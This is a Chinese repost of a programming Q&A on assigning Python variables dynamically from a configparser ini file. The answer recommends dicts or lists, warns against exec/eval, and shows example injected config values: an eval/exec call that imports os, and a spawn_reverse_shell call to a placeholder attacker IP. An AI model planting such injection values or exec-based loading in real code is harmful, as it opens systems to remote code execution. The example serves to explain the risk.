我見過很多類似的問題,但我認為這不是重復的,因為我還沒有找到任何具體的解決方案。大多數類似的執行緒幾乎都說根本不要這樣做,而是使用另一種方法,但我認為我沒有太多選擇,將嘗試用下面的一些示例代碼進行解釋。我的問題如下:
假設我有一個名為 folder1 的變數,它包含組態檔中給定鍵的路徑的值,然后我想讓用戶有選擇地向組態檔添加更多檔案夾,并自動將該值分配給一個名為 folder2 的新變數, 檔案夾 3 等。
假設我有一個看起來像這樣的 config.ini
[Default]
folder1 = /var/www/example.com
folder2 = /var/www/example2.com
folder3 = /var/www/example3.com
webserver = nginx
some_other_stuff = Hello world!
我的腳本看起來像這樣
import configparser
config = configparser.ConfigParser()
config.read("config.ini")
# Here i would like to assign variables for each value of the keys in the ini-file
folder1 = config["Default"]["folder1"]
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
# Here i would like something like var{num} = folder{num}
globals()[f"folder{num}"] = config["Default"][f"folder{num}"]
webserver = config["Default"]["webserver"]
some_other_stuff = config["Default"]["some_other_stuff"]
print(f"Folder 1 is {folder1}, webserver is {webserver}, and some other stuff is {some_other_stuff}")
# print(folder2) --> NameError: name 'folder2' is not defined. Did you mean: 'folder1'?
這是一種自我解釋我想要完成的事情,但由于到目前為止我沒有嘗試過任何作業,我試圖使用另一種方法來解決它,這給了我其他問題(并且輸入起來更麻煩,考慮到我有很多像這樣的不同配置選項,并且希望能夠輕松地比較值等。
folders_list = []
for num in range(1, 11):
if config.has_option("Default", f"folder{num}"):
folders_list.append(f"folder{num}")
# Printing one folder work:
print(config["Default"][folders_list[0]])
# And printing a range "sort of" works as long as you know the number of folders created on beforehand
# But i would like to let the user add up to 10 paths optionally without needing to change the code
for num in range(0, 3):
print(f'{config["Default"][folders_list[num-1]]}')
如前所述,在我看來,與僅將每個值存盤在它自己的變數中相比,如果我需要對它們進行大量比較操作,這種輸入方式很難跟蹤,而且這也不是很好用如果我希望用戶可以選擇在組態檔中添加任意數量的檔案夾(最多 10 個),而不必編輯源代碼本身。我還注意到,如果我嘗試根據folders_list 的len 來做事,使用這種方法會搞砸事情。
if len(folders_list) >= 2:
print(config["Default"][folders_list[0]])
#else:
#print(config["Default"][folders_list[0:len(folders_list) -1]]) --> AttributeError: 'list' object has no attribute 'lower'
預先感謝!
uj5u.com熱心網友回復:
我在這里詳細說明我的評論:
您可以輕松達到的最接近的可能是將檔案夾分配給字典并使用數字鍵,或者將它們添加到串列中。
...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
# Add folder to a list and it's index will be your numeric key
folder_list.append(config["Default"][f"folder{num}"])
# Add folder to a dict and give it a numeric key
folder_dict[num] = config["Default"][f"folder{num}"]
我明白你的意思,當不得不使用這么多索引時,它不支持你的代碼的可讀性。我想到的一個解決方案是創建一個類。但我猜,你試圖讓你的代碼更具可讀性的所有事情都會讓后臺的事情變得更加復雜。
使用類
class Config:
def __init__(self, config):
self.config = config
def folder(self, index: int) -> str:
key = f"folder{index}"
try:
return self.config["Default"][key]
except:
raise KeyError(f"Key {key} does not exist")
config = configparser.ConfigParser()
conf = Config(config)
# Accessing your folders:
print("Folder 1:", conf.folder(1))
print("Folder 2:", conf.folder(2))
# and so on
但這雖然看起來更好,但恕我直言,這并沒有多大意義,因為對于這樣一個簡單的資料處理任務來說,它太多了,通過字典或任何輸出的型別最好地表示configparser.ConfigParser()。
你想要什么以及為什么這是一個壞主意:如果我理解正確,你想在運行時分配變數。出現了兩個問題。
第一個是,您在運行時創建變數,因此您不知道代碼中發生了什么。您并不確切知道var_1, var_2, etc.代碼中有多少變數。如果您不知道變數是否存在,您將如何訪問它?這就是為什么字典在這種情況下如此方便的原因。像您這樣的屬性,dict.values(), dict.items(), dict.keys(), ...您每次都可以對其內容進行概述。
此外,如果您在運行時定義變數,則不能在編程時使用它們。如果您使用例如var_3 == var_4比較資料,但您定義var_3andvar_4在運行時,Python 將不會運行,因為這兩個變數(尚未)定義并拋出NameError:

NameError: name 'var_4' is not defined
您可以通過將此類陳述句也放入exec()或更有可能解決此問題eval(),但這會使事情變得復雜和丑陋。
第二個是安全性,我已經在這里討論過了。
您可以在運行時創建自定義命名變數,如下所示:
...
folder_list: list = []
folder_dict: dict = {}
for num in range(2, 11):
if config.has_option("Default", f"folder{num}"):
stmt = f'var_{num} = config["Default"][f"folder{num}"]'
exec(stmt)
這會在每次迭代中創建一個變數var_2, var_3, ...并將檔案夾分配給它。但正如鏈接答案中所寫, exec 在處理用戶輸入時很危險。如果只有您有權訪問您的組態檔,這可能是一個合理的風險,只有問題 (1) 可能會惹惱您。但是,如果其他人有權訪問,或者您正在創建像 Web 應用程式一樣的東西,那么攻擊者可能會獲得對您機器的訪問權限,從而訪問您的組態檔。
在這種特定情況下,我認為無法啟動鏈接答案中的攻擊,因為您正在從配置中讀取字串,并且 configparser 正確地轉義/包含您的字串,因此無法將其評估為陳述。但是,如果 configparser 不能正確執行此操作,您的應用程式會因為所需的功能而不存在安全漏洞,而是因為過度復雜地濫用內置方法(eval()/ exec())
例如,當您的組態檔被更改為這樣的某事時,該命令將不會被執行,但是使用 exec/eval 可能就是這種情況,并且考慮到利用 exec/eval 的所有可能性并不容易。因此,不使用它們是很常見的,尤其是當它們會接觸到您無法 100% 控制的資料時。
[Default]
...
folder4 = eval('''exec("""import os""") or os.uname()''')
# or
folder5 = spawn_reverse_shell(<attacker ip>, <attacker port>)
這種攻擊對于不同的應用程式是不同的,并且取決于資料的處理/eval/exec 的存在。但如果可以利用這一點,攻擊者就可以匯入任何現有模塊并運行代碼。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/478305.html
上一篇:JetpackCompose:TabRow的內容顏色
下一篇:僅使用for回圈計算行距離矩陣
